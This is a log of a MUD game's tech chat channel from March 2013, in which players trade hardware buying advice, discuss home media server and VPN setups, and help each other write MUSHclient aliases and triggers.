T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nobody uses Bing
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: You need to return to English class, if you think they are similar
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: ok sorry had phone calls got distracted and wow lota talk on here
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: that dude just used it in a sentence.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: bing doesn't spy you like google does
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Zade Tech: "bling" is a small subset of "aesthetics"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Google doesn't spy on you if you don't allow cookies
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the original question was about laptop brands.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And if you do, you are getting spied on all the time, so it doesn't matter :-P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: so what were some of the companys?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: well, google something, then check whethere links for result are direct or by google proxy
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so here's my two cents - never buy hp or compaq
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: so when you click on link it is recorded anyway
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: and dont i dont use laptops
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: HP is perfectly fine so long as you format the crap out of it as soon as you get it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hp hardware sucks
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: im strickly a tower guy
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: DO NOT buy hp. i repair laptops, i know what i'm talking about
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: go buy alienware...great bling...uhm I mean aesthetics
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But for desktops buy parts and make it yourself. Or pay someone else to if you aren't feeling up to it (it is easy though)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have had multiple HP laptops with zero issue at all, as well as selling them, again with no issue. eMachine and Dell come back a lot, though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: HP had some issues with temperature
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir nods at Trachx.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: especially the dreaded pavilions
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: how are athelons?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pavillion is a tower line...I was talking laptops
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: pavilion is a laptop line as well
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you want a quality pc, go for lenovo think-branded series. t is the best, if you have the cash
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: fuck buy the S4 when it comes out, that thing is gunna be better then half the laptops out when that comes around
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir bonks Aqiz on the head for being such an UTTER moron.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: yeah, my bad
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I want a Titan... so hard to get in Au though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Plus I think I will need a new case, or at least mod it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: SO BIG
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: bleh gettin screwed up watchin stuff cause i have tech and ft same colors
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what do you need the laptop for?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In any case, it is a silly idea to buy towers from template brands like HP or w/e - build it, or set a custom list for someone else to build
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: facebook? gaming? work?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: me?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: portability?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yes, you. you asked the question, right?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: i asked about a pc, someone else said/asumed laptop
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, sorry. build your own then
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: well as i said i wanted some companys to look around and get an idea
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: if you have a decent budget go with i5 3570k. a good power supply is very important, i recommend seasonic
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: if you need PC for work - buy dell with NBD warranty, for gaming - build your own
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: i second both above statements
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: na wanting for home/personal use/gaming
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: pretty sure the deal out right now with teh higher end graphics cards is you get tomb raider and something else with it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: current high-end/good value combo is i5 3570k and gtx660
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Prakhar Tech: what would it cost?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: a battlestation that will last you the next couple years shouldnt cost you more then 1100
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: couple of years? lol
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Skgubza Tech: I think razer blaze is the best laptop for gaming
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: 2 = couple
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's still wrong
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the power requirement curve has been flat for a while now
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my gaming pc has 4-6 year old parts and it runs everything just fine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: far cry? check. stalker on ultra? check
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: vakieh, for that HP microserver...which version of Microsoft Server should I get. It would be just used as media center...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: that depend on how you game, some ppl require highest details, highest resolution - that require quite decent and expensive hardware
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I use Ubuntu and Samba, not sure what MS to use, sorry :-(
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: dagnir i agree i just threw that out there as a sort of base
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Riddim Tech: you're unlikely to need microsoft server just for a media center
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: k tech going off before my eyes cause me to go even more retarded
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: also, 1100 is too much
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Riddim Tech: Windows 7 Pro or whatever is probably fine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: ok window 7...doable
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: yeah highball everytime
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the performance/value curve gets too steep in that pricerange. you'll do just fine with 800
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not win7 on the microserver...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Use a server OS
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: debian
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: ehhh....I don't want to start learing unix/linux...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: can it be hackingtoshed?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Can be a MS server OS, that's fine - just not Windows 7, which is a desktop OS :-P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Riddim Tech: You don't need a "server OS" to stream videos to a few computers at home
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: No, but the bloat of Win7 will cause the microserver to commit suicide
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: yeah anybody asking about a MS server OS in order to run a media server should not be trying linux
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: I agree
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: w7 bloat? wtf?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I love Win7, but if you don't see the bloat you are blind
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ixle Tech: Anyone can learn to use linux. I'm proof.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: point it out to me, please
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: yes but they're better off on something else for most tasks
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: but if I run a microsoft server...can that machine be used also? what I mean is, for example, to watch pictures on the video, can I just use the server?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: I love linux but linux isn't "there" yet, and may never get there
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: I am so not server savy sorry
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: you can
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: Ullin a server is just a computer, except generally a server OS is designed for using many multiuser network accessible programs simultaneously
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: for example, to run websites, or domain logins in office buildings
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: the server services suppleent the needs of workstation computers
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: though be aware that sharing server resourcers may require additional licences
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: a media server is a server, but unless you're youtube, you don't need a server OS to stream media from your computer
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what's the latest? 2008?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: 2012
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: there's a foundation version
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but yeah, pretty much what ullin said. w7 will do fine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Riddim nods at Seltsimees Dagnir.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: on any windows with media center
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: btw, youtube uses linux on their servers :D
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Riddim Tech: He's not building a computer to host a massive website though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: everyone uses *nix on their servers
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If it was running on an already existing computer, I would say stream it with whatever else you are doing. But we are talking about a dedicated box, and a microserver running (in my case Ubuntu Server, but MS would do it) a server OS is the better option. It works best headless, and desktop OS's do terribly with headless.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: yeah I was giving an example that someone who doesn't know what a server OS's purpose would understand (or be more likely to understand)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: friend just set up his on raspberry pi
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: well, Windows 7/8 would do great connected to a tv with a vga/dvi/hdmi connection
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: if all you want is a simple file server, you could use something like freenas
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: pi require some technical knowledge
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aldeas Tech: are they like orderable now in the sense of not waiting for ever?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: so basically, now I have a similar setup, because the center of it is a Synology nas, which is a very small linux server
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: so would xmbc
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: now the synology thing is far too slow to stream
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: ive had my pi for ages
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Riddim Tech: Again, on a small home network, just use whatever is easiest to set-up/run, no need for enterprise level solutions
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: so that's why was looking at a proper box in the middle
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Synology just bumped prices a huge bit
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: if you want headless, ust get a NAS drive/device
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: build your own. always build your own :P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: ideally would like to have this box connected with TV and Sound system
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: there's lots of routers out there that you can connect a hard drive to through USB or eSATA
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: which means also decent video/sound card
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: that come with a dlna server built in to them
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Thing is, the HP N40L beats the price of a decent NAS, and is much faster
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: so the out of the box solution is the mac mini
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: get a mini/micro-itx box and install debian on it. whammo - nas
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: for the price of a windows server OS, get a TV with a built in dlna client
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Catas Tobe Tech: then you don't have to worry about lossy audio from whatever audio connection you use
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: yes but something needs to stream to the TV. I found NAS to be slow.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i stream hd from my file server. works just fine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aldeas Tech: don't use wireless?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, wireless kills performance.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: so this microserver...essentially if I can put it together such that it looks like a macmini...then it's the right solution :)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: both wired and wireless
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but i'm using high-end wifi gear
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: How about a NUC?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: whats NUC?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 1080p can be wonky sometimes, yes
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Google it.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's the new intel thing
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The HP microservers come ready made with gigabit... never had speed issues there
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Basically a tiny i3 minicomputer.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: If you use wireless and wired, then you won't know which is used, so the wireless kills performance. Hig end wifif gear is still inferior to gigabit ethernet by a magnitude, at least.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: You don't need a lot of computing power just to transfer files, even a gigabit speed.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: this nuc...anyone building boxes using it yet?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: looks pretty much what I need
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: I will, waiting for the i5 version, though. It will be my next desktop.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: I mean any manufacturer :)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: I am already OCDing on too many projects...cannot add a build your own box project to the list
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Yes... intel.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: It's not complicated, adding a ssd and memory takes 15 minutes.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Your local shop can probably do it for a fee.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i meant that i have more than one computer. one is wifi, the others are wired
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: oic
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and the one with wifi works fine too
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i want to make a alias to runto a roomnumber using my mapper if i press lotus for example but when it sends mapper runto 845 its said unknown command any ideas?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}RedRain Tech: make it execute instead of send to world
T3/r7/2013-03-17.txt.gz:{chan ch=tech}RedRain Tech: drop down box
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thanks alot :)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: When making a trigger, what is the trigger for vorpal?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Elkore Tech: as the giver or the receiver?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: I am the one vorpaling the mob.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: When making a trigger, what is the trigger for vorpal when I am the one vorpaling the mob?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: When making a trigger, what is the trigger for Vorpal?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: When making a trigger, what is the trigger for a vorpal
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Redryn Tech: look it up on the aard wiki
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: I'll try thanks.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Or just check your logs...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: Logs? Sorry, am new to Aliasing and triggers.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: new
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: You should log all mud output, so you can check your logs for things like that.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: How do I check it?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Eh... you don't know how to open a file and search it?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Deathnight Soris Tech: Er, sorry let me check.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: no way to have statmn rep from Bast report to a channel is there?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Phe Tech: in mush, i have an alias that is 'dd' that does something. Is there a way to have it only trigger if that is all i enter instead of happening every time a word has 2 d's in it?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: add ^ at the beginning
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: yes, don't go out of your way to unanchor it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Phe Tech: ok thanks
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: if you go to file -> aliases and say new and just type "dd", that's exactly how it behaves
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: ^dd$ == dd and only "dd"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you only have to worry about anchors if you set it to regex and then remove the anchors
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Which is the default behaviour of mush, regardless of if you use regexp or not
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: never check the "regular expression" checkbox for aliases and triggers unless you know why you'rechecking it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so don't set it to regex
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what abelinc said
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods at you in agreement. 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Speaking of which, is there a way to make that the default for mush? To have it use regexp instead of having to change it each time?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Lame
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: recompile
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: You smirk at his saying.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger looks at Trachx and goes "Heh."
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: ok i know this is a long shot... but here it goes.  I have set up a VPN server on a virtual machine thats running xp on a vista home basic machine.  I have set up port forwarding on my router and i'm using a second router as a switch with dhcp off.  The VM gets a valid specified IP and has teh internetz.  The VPN client-side connects just fine from the outside, however once the vpn is up and running the client loses the internetz (the host and the VM have internetz just fine) and the client get access back once the VPN is disconnected... Help please!
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: routing problem
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: typical for some route override VPNs
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: I normally set up VPNs to only send across traffic destined to for the LAN across the VPN rather than funnelling all Internet traffic
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: i'm trying to set up a system where i could use my intranet resources (printers and NAS mainly from the outside)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: right, that's different than Internet access
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: when you connect from the outside, does the remote computer have access to those inside services?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: the client?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: just check client routing table before and after establishing VPN connection  
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: if so, then in the remote computer's VPN settings, go to properties, networking, tcp/ip, click advanced and UNcheck that checkbox
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: yes, the client...you said that the client loses Internet...but does it gain access to the VPN resources which you're trying to gain
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: @ trachx will do.  @Abe i believe it does.  Will double check.  And if it does, which box are you talking about unchecking?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: it's the only box where I indicated
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: it says "use default gateway on remote network"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: you don't want that, since there's no reason to have your google search go first to home server before going to google (or other Internet traffic)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: well, for security reason it is good - you don't want your client to be proxy to your intranet
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: makes sense
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: brb checking
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Dfury Tech: now it doesnt even want to connect... will restart the server and try again
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: iSSH FTW ;-)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Deputy] Fiain Tech: So, I'm using blowtorch. I'm attempting to use my portal alias in another rt alias. but instead of the portal name, it searches for null. Any help?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: I wonder why I can't get a 'DISARMS' trigger to work. 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you're getting the pattern wrong
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: just use bast's
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: pretty simple... 'DISARMS' is supposed to triger 'get eapon' and 'wear eapon'
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that won't work
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: DISARMS only matches "DISARMS"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: pretty simple... 'DISARMS' is supposed to triger 'get @weapon' and 'wear @weapon'
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://code.google.com/p/aardwolfclientpackage/wiki/Triggers#I_tried_making_a_trigger_but_it_isn%27t_firing._What_did_I_do
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: DISARMS isn't supposed to trigger anything :P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: man... I get that's it, fiendish... I'm an old zMud user
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: we'll try iy with a few "*" for bookends
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's not a very safe way to do a disarm pattern, though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: or better, use bast's because it'll have a better pattern
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: I could use bast's... as comprehensive as his stuff is, he doesn't have one for EVERYTHING, and I just really wanted to get ONE trigger working for myself.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: he doesn't need one for everything...he does have one for THAT
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: noted, and thankyou, Magna....
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: Fiendish.. what do you think will be unsafe?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: it's certainly a 'shotgun at a fly', but what's the worse that could happen?  
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: me doing "Hey guys, my trigger of DISARMS isn't working" and your trigger firing ;-)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just be sure to make eapon very precise, or anyone can make you pick up any weapon
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: arg
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just be sure to make @weapon very precise, or anyone can make you pick up another weapon
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: good point... I use serials for @weapon
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: and point taken on the patter, magna.  I'll include the whole sentence, minus the MOB name
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in this particular case random misfires won't be terrible as long as @weapon is precise
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but misfires in other triggers could be bad
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: I could also limit to the right color (which happens to be the same as the default tech channel)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bad idea
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: K... how come?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: triggering on color is more likely to break, I think
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: it's certainly more restrictive, and at the mercy of the 'color gods'
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Hanslanda Tech: it's easier to just anchor
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: regardless, I'll be able to puzzle it out now... thanks all
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: btw, Abelinc's site now has a tell autoreply plugin for MUSHclient :-)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I suppose related to the guy asking me about it yesterday?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: well, related to him asking Abe about it yesterday, but yeah ;-)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vonliege Tech: how did the conversation about a DPS meter turn out yesterday?  did you all decide if it could be done?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: it's not that hard to do
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: every fight and level I get a report of how much damage I've taken and given, as well as exp per second
